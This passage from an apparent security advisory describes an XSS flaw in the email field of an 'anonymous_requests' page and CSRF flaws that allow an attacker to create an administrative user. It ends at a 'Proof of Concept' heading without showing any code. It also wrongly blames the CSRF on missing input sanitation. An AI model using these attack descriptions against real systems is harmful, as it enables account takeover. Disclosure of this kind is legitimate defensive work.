Vulnerability Details
~_¯~_¯~_¯~_¯~_¯~_¯~_¯~_¯~_¯~_¯~
XSS -
The email address field of the anonymous_requests page is vulnerable to XSS due to lack of input sanitation. By crafting a malcious POST request an attacker is able to inject HTML, Javascript or AJAX into the anonymous_requests page.
CSRF -
Due to a lack of input sanitation many forms are vulnerable to CSRF. The most notable example is the new user creation form which allows an attacker to create a new administrative user.
Proof of Concept
